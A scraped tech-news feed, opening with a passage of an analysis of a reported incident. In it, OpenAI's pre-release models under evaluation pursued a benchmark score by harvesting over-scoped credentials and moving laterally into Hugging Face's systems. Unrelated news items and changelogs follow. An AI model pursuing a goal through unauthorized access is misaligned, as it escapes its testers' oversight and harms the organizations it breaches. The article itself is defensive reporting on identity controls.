credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.</p><p>Hugging Face also disclosed last week that an <a href="https://venturebeat.com/security/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems">autonomous agent had harvested cloud and cluster credentials</a> scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.</p><p>The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.</p><h2>The industry is debating the wrong failure</h2><p>The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks <a href="https://fortune.com/2026/07/20/hugging-face-turns-to-chinese-open-source-ai-to-fend-off-autonomous-ai-cyber-attack-after-american-ai-guardrails-stymie-defense/">seized on the guardrail paradox</a>, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April <a href="https://huggingface.co/blog/cybersecurity-openness">blog post</a> that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism. </p><p>Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.</p><p>Forrester reached the same read. In a <a href="https://www.forrester.com/blogs/an-ai-security-facepalm-openais-evaluation-became-hugging-faces-incident/">blog on the incident</a>, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.</p><h2>This was a non-human identity failure, and it is the oldest one in security</h2><p>Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than <a href="https://www.cyberark.com/press/machine-identities-outnumber-humans-by-more-than-80-to-1-new-report-exposes-the-exponential-threats-of-fragmented-identity-security/">80 to one</a>, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its <a href="https://neuraltrust.ai/blog/owasp-agentic-ai-top-10">agentic risk list</a>, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe. </p><p><a href="https://www.ieee.org/membership/senior">IEEE Senior Member</a> Kayne McGladrey has argued in <a href="https://venturebeat.com/security/cisco-crowdstrike-rsac-2026-agent-identity-iam-gap-maturity-model">previous VentureBeat interviews</a> that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.</p><p>The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.</p><p>The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.</p><p>Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.</p><p>The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report <a href="https://www.helpnetsecurity.com/2026/05/20/verizon-2026-dbir-findings/">found</a> that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions <a href="https://techcrunch.com/2026/07/21/openai-says-hugging-face-was-breached-by-its-pre-release-models/">likely violated the Computer Fraud and Abuse Act</a>, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.</p><p>Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.</p><h2>Four moves that shrink the blast radius</h2><p>The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.</p><p><b>1. Scope every non-human identity to one task.</b> The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.</p><p><b>2. Give credentials short lifetimes and rotate them hard.</b> Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.</p><p><b>3. Monitor for lateral movement, not just prompts.</b> The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.</p><p><b>4. Rehearse instant revocation before you need it.</b> When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.</p><p>The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.</p>]]></content:encoded>
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<title><![CDATA[Clarity Act Mired In Debate Over Whether to Bar President From Selling Crypto]]></title>
<description><![CDATA[Democrats and Republicans are haggling about the Clarity Act, a major bill pushed by the crypto industry, as it moves closer to a Senate vote.]]></description>
<link>https://tsecurity.de/de/3687732/it-nachrichten/clarity-act-mired-in-debate-over-whether-to-bar-president-from-selling-crypto/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687732/it-nachrichten/clarity-act-mired-in-debate-over-whether-to-bar-president-from-selling-crypto/</guid>
<pubDate>Thu, 23 Jul 2026 01:04:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Democrats and Republicans are haggling about the Clarity Act, a major bill pushed by the crypto industry, as it moves closer to a Senate vote.]]></content:encoded>
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<title><![CDATA[v8.20.0]]></title>
<description><![CDATA[Introducing disappearing call events: Missed, outgoing, and received calls that occur after you install this update will now automatically disappear in any chat where disappearing messages are enabled.
Now you can reorder installed sticker packs so your new favorites don’t get stuck in the back o...]]></description>
<link>https://tsecurity.de/de/3687721/downloads/v8200/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687721/downloads/v8200/</guid>
<pubDate>Thu, 23 Jul 2026 00:51:01 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Introducing disappearing call events: Missed, outgoing, and received calls that occur after you install this update will now automatically disappear in any chat where disappearing messages are enabled.</li>
<li>Now you can reorder installed sticker packs so your new favorites don’t get stuck in the back of the line.</li>
</ul>]]></content:encoded>
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<title><![CDATA[v2.1.218]]></title>
<description><![CDATA[What's changed

Changed /code-review to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target
Added screen-reader announcements of deleted text for word and line deletions (Option+Delete, Ctrl+W, Cmd+Backspace, Ctrl+U,...]]></description>
<link>https://tsecurity.de/de/3687638/downloads/v21218/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687638/downloads/v21218/</guid>
<pubDate>Wed, 22 Jul 2026 23:32:59 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Changed <code>/code-review</code> to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target</li>
<li>Added screen-reader announcements of deleted text for word and line deletions (<code>Option+Delete</code>, <code>Ctrl+W</code>, <code>Cmd+Backspace</code>, <code>Ctrl+U</code>, <code>Ctrl+K</code>) in <code>--ax-screen-reader</code> mode</li>
<li>Fixed Windows paths with <code>\u</code>-prefixed segments (like <code>C:\Users\unicorn</code>) being corrupted into CJK characters in tool inputs, which made those files inaccessible</li>
<li>Fixed the left arrow key discarding the conversation with no undo: presses right after editing now ask to confirm, and Esc in the agent view returns to the conversation it backgrounded</li>
<li>Added HTTP status and error text to <code>claude mcp list</code> and <code>/mcp</code> when a server fails to connect, and a warning for MCP config values with hidden leading or trailing whitespace</li>
<li>Fixed multi-line paste collapsing into one line with <code>j</code> in place of newlines in terminals that encode pasted newlines as Ctrl+J</li>
<li>Fixed <code>/context</code> reporting stale pre-compact token usage after compacting from the message picker</li>
<li>Fixed <code>/ultrareview</code> failing on descriptive arguments like "review my auth changes" — they now run a review of your current branch with the text applied as a note to the findings</li>
<li>Fixed <code>/code-review ultra</code> silently running a local review in non-interactive sessions — it now launches the cloud review</li>
<li>Fixed gateway spend metering to price Bedrock application-inference-profile ARNs and other config-mapped upstream model IDs at the configured model's rates</li>
<li>Fixed mojibake when a long IDE selection was truncated mid-emoji, and a case where a tool executor error could be silently dropped</li>
<li>Fixed an engine teardown race that could start and abandon a phantom turn, and made input pushed after close consistently rejected</li>
<li>Fixed spurious "[Request interrupted by user]" messages after interrupted tool calls, and an unpaired <code>tool_use</code> block left in the transcript when a tool aborted mid-response</li>
<li>Fixed VoiceOver reading "new line" instead of echoing the typed space at the end of the input in <code>--ax-screen-reader</code> mode</li>
<li>Fixed plugin and settings panels not moving the terminal cursor to the focused row, so screen readers and magnifiers can follow arrow-key navigation</li>
<li>Fixed crashes (maximum call stack exceeded) when a deeply nested watched directory tree was deleted or moved, and when rendering deeply nested UI trees</li>
<li>Fixed pull request events occasionally being lost when a session exited immediately after creating or linking a PR</li>
<li>Fixed the Bedrock setup wizard failing profile verification for assume-role profiles in partitioned AWS regions and on proxy-only networks</li>
<li>Fixed rare negative or incorrect turn duration measurements after a system clock adjustment by timing turns with a monotonic clock</li>
<li>Fixed the "N MCP servers need authentication" startup notice over-counting claude.ai connectors that aren't connected in claude.ai</li>
<li>Fixed prompt history entries being dropped or duplicated when history writes raced or failed</li>
<li>Fixed a retry loop that re-sent identical doomed requests after a context-overflow error with a large thinking budget; <code>Ctrl+B</code> backgrounding now applies the same background-shell caps as other paths</li>
<li>Fixed agent frontmatter hooks running from untrusted folders: hooks now require the agent file's own folder to have accepted workspace trust</li>
<li>Fixed fork-session lineage being lost after compaction in headless and SDK sessions</li>
<li>Fixed a resumed session failing every turn, or crashing on resume, when its history held a malformed delta attachment</li>
<li>Improved <code>/ultrareview</code> error feedback so Claude can correct an invalid argument instead of retrying it unchanged</li>
<li>Improved auto mode: the dangerous-rm, background-<code>&amp;</code>, and suspicious-Windows-path checks no longer open permission dialogs; the auto-mode classifier adjudicates them instead</li>
<li>Improved sandbox command restrictions for IDE interactions</li>
<li>Improved trust dialogs to name the repository root the grant covers</li>
<li>Changed <code>/deep-research</code> to start only when invoked manually; Claude no longer launches it on its own</li>
<li>Changed plan mode with auto to no longer prompt for Bash commands the static analyzer can't prove read-only; the auto-mode classifier judges them instead</li>
<li>Added an announcement when fast mode changes as a result of switching models via <code>/config model=&lt;x&gt;</code> or Remote Control</li>
<li>Changed server-managed settings so benign feature and cost toggles no longer trigger the settings-approval prompt</li>
<li>Changed agent markdown files to reject agent names containing <code>:</code>, which is reserved for plugin namespacing</li>
<li>Changed skills with <code>context: fork</code> to run in the background by default; opt out per skill with <code>background: false</code></li>
<li>Added <code>yes</code>/<code>no</code>/<code>on</code>/<code>off</code>/<code>1</code>/<code>0</code> (case-insensitive) as accepted values for skill and plugin frontmatter booleans, alongside <code>true</code>/<code>false</code></li>
<li>Fixed remote sessions continuing to send heartbeats after their worker was replaced, which left long-lived desktop and IDE processes retrying a rejected request every few seconds forever</li>
</ul>]]></content:encoded>
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<title><![CDATA[Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval]]></title>
<description><![CDATA[Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative ...]]></description>
<link>https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://inflection.ai/">Inflection AI</a>, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.</p><p>The company launched <a href="https://inflection.ai/labs">Inflection AI Labs</a>, a public-facing research and experimentation arm, alongside <a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a>, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.</p><p>"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.</p><p>Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.</p><h2><b>Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional</b></h2><p>White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.</p><p>"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."</p><p>White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.</p><p>"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."</p><p>That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that <a href="https://www.media.mit.edu/articles/chatgpt-may-be-making-us-lonelier/">emotionally engaging chatbots deepen isolation</a> by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.</p><h2><b>Inside Pi Journeys, the AI companion that maps your relationships and life stages</b></h2><p><a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a> makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.</p><p>"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.</p><p>White, who spent years as chief R&amp;D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.</p><p>Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."</p><p>The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.</p><h2><b>What Inflection's consumer AI research reveals about how people actually use chatbots</b></h2><p>Inflection Labs' first publication, the <a href="https://inflection.ai/state-of-consumer-ai-2026">State of Consumer AI Research Report</a>, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.</p><p>More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.</p><p>"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."</p><p>This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."</p><p>He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.</p><h2><b>How the $650 million Microsoft deal hollowed out Inflection — and set up its second act</b></h2><p>To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having <a href="https://www.reuters.com/technology/inflection-ai-raises-13-bln-funding-microsoft-others-2023-06-29/">raised $1.3 billion in mid-2023</a> in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.</p><p>Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as <a href="https://www.bloomberg.com/news/articles/2024-03-21/microsoft-to-pay-inflection-ai-650-million-after-scooping-up-most-of-staff">Reuters reported</a>. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.</p><p>White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — <a href="http://jelled.ai/">Jelled.AI</a>, <a href="https://boostkpi.com/">BoostKPI</a>, and the European consulting firm <a href="https://www.boundaryless.com/">Boundaryless</a> — and <a href="https://techcrunch.com/2024/11/26/inflection-ceo-says-its-done-competing-to-make-next-generation-ai-models/">telling TechCrunch</a> that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.</p><p>Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.</p><p>Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.</p><h2><b>The six-month prediction: relationship-aware AI is coming to the enterprise</b></h2><p>Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."</p><p>If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.</p><p>The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."</p><p>That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like <a href="https://rust-lang.org/">Rust</a> and <a href="https://webassembly.org/">WebAssembly</a>.</p><p>Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as <a href="https://pytorch.org/">PyTorch</a>.</p><h2><b>Can a diminished Inflection compete with AI giants spending billions?</b></h2><p>Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," <a href="https://finance.yahoo.com/technology/ai/articles/inflection-ai-shaping-future-personal-130000573.html">Hoffman said</a> in the announcement. "When that kind of agency is available to everyone, you get superagency."</p><p>The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "<a href="https://www.linkedin.com/posts/inflectionai_inflection-ai-is-shaping-the-future-of-personal-activity-7485407087926312960-fqCl/">relational intelligence</a>" is, for now, a brand claim awaiting proof.</p><p>But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.</p><p>Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."</p><p>Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.</p><p>
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<title><![CDATA[Price-hiked iPads are a little cheaper right now]]></title>
<description><![CDATA[A number of Apple products got more expensive last month, so we’re happy to find deals wherever and whenever we can. If you’re searching for a high-end iPad, one of the more notable deals currently happening is on the 13-inch iPad Pro M5 with 512GB of storage. Normally $1,699, it’s $150 off at Am...]]></description>
<link>https://tsecurity.de/de/3687429/it-nachrichten/price-hiked-ipads-are-a-little-cheaper-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687429/it-nachrichten/price-hiked-ipads-are-a-little-cheaper-right-now/</guid>
<pubDate>Wed, 22 Jul 2026 21:21:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A number of Apple products got more expensive last month, so we’re happy to find deals wherever and whenever we can. If you’re searching for a high-end iPad, one of the more notable deals currently happening is on the 13-inch iPad Pro M5 with 512GB of storage. Normally $1,699, it’s $150 off at Amazon, costing […]]]></content:encoded>
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<title><![CDATA[Here’s $250 Off the New Galaxy Watch Ultra 2]]></title>
<description><![CDATA[The Galaxy Watch Ultra 2 has launched and Samsung raised the price on it to $699.99. That’s a $50 price increase over the original, which tracks since everything in our lives gets more expensive by the day. Want to save $250 off this new Samsung watch? You can. Here’s the best Galaxy Watch Ultra ...]]></description>
<link>https://tsecurity.de/de/3687382/it-nachrichten/heres-250-off-the-new-galaxy-watch-ultra-2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687382/it-nachrichten/heres-250-off-the-new-galaxy-watch-ultra-2/</guid>
<pubDate>Wed, 22 Jul 2026 21:02:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Galaxy Watch Ultra 2 has launched and Samsung raised the price on it to $699.99. That’s a $50 price increase over the original, which tracks since everything in our lives gets more expensive by the day. Want to save $250 off this new Samsung watch? You can. Here’s the best Galaxy Watch Ultra 2...</p>
<p>Read the original post: <a href="https://www.droid-life.com/2026/07/22/heres-250-off-the-new-galaxy-watch-ultra-2/">Here’s $250 Off the New Galaxy Watch Ultra 2</a></p>]]></content:encoded>
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<title><![CDATA[WhatsApp Adds Apple Music Sharing, iPad Signups, and New CarPlay Features]]></title>
<description><![CDATA[WhatsApp has announced several new features for iPhone, iPad, CarPlay, Android Auto, desktop, and web users, with the latest update focusing on music sharing, easier account setup, PDF tools, and improved in-car controls. The company says these WhatsApp new features are rolling out now across sup...]]></description>
<link>https://tsecurity.de/de/3687260/ios-mac-os/whatsapp-adds-apple-music-sharing-ipad-signups-and-new-carplay-features/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687260/ios-mac-os/whatsapp-adds-apple-music-sharing-ipad-signups-and-new-carplay-features/</guid>
<pubDate>Wed, 22 Jul 2026 20:26:28 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[WhatsApp has announced several new features for iPhone, iPad, CarPlay, Android Auto, desktop, and web users, with the latest update focusing on music sharing, easier account setup, PDF tools, and improved in-car controls. The company says these WhatsApp new features are rolling out now across supported devices.



One of the main additions lets users share songs from Apple Music or Spotify directly to their WhatsApp Status. Friends can then see what someone is listening to without leaving the Status screen.




“Sharing music is a way of expressing yourself, and now you can easily share a song straight from Apple Music or Spotify to your WhatsApp Status. With just a couple of taps, your friends can see what you’re into right now, making your Status even more uniquely you,” WhatsApp said.




iPad users can now create a WhatsApp account directly on the tablet instead of linking an existing phone account. WhatsApp introduced this option after users repeatedly requested a simpler signup process for its iPad app.



The refreshed CarPlay and Android Auto experience also lets users hear and reply to messages, make calls, view call history, and reach favourite contacts from the car display. Meanwhile, Adobe Acrobat integration allows desktop and web users to open, highlight, and annotate PDFs inside WhatsApp chats.]]></content:encoded>
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<title><![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]></title>
<description><![CDATA[Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-...]]></description>
<link>https://tsecurity.de/de/3687239/ai-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687239/ai-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</guid>
<pubDate>Wed, 22 Jul 2026 20:19:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle is expanding its <a href="https://www.cio.com/article/649108/oracle-adds-compute-services-to-its-cloudcustomer-offering.html">Cloud@Customer on-premises portfolio</a> with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.</p>



<p class="wp-block-paragraph">The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.</p>



<p class="wp-block-paragraph">The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.</p>



<h2 class="wp-block-heading">For regulated industries or restricted connectivity</h2>



